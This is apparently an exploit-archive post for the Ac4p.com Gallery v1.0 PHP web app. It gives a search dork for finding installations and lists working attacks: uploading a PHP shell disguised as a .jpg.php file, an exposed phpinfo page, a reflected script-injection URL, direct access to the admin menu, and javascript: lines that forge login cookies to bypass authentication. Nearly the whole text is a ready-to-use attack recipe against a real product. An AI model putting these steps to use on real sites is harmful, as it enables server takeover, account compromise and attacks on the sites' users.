Ac4p.com Gallery v1.0 Multiple Vulnerabilities

==============================================
Ac4p.com Gallery v1.0 Multiple Vulnerabilities
==============================================

| # Dork     : Powered by Ac4p.com Gallery v1.0 , Copyright© 2007 ac4p.com                                        
| # Tested on: windows SP2 Fran?ais V.(Pnx2 2.0) + Lunix Fran?ais v.(9.4 Ubuntu)      
| # Bug      : Mullti                                                                    
======================      Exploit By indoushka       =================================
# Exploit  :
 
1 - Upload Vulnerability:
  
 I- http://server/gallery/up.php (To upload Evil )
  
 II- http://server/gallery/userup/1266607903.jpg.php (To Find Evil)
  
 2 - Php info:
  
 http://server/gallery/phpinfo.php
  
 3 - XSS:
  
 http://server/gallery/index.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
  
 4 - By Pass:
  
 http://server/gallery/cp/menu.php
  
 Insecure Cookie Handling Vulnerability:
  
 I-   javascript:document.cookie="user_id=userid;path=/";
 II-  javascript:document.cookie="password=password;path=/";
 III- javascript:document.cookie="username=username;path=/";
 IIV- javascript:document.cookie="ok=tmam;path=/";



#  0day.today [2018-02-06]  #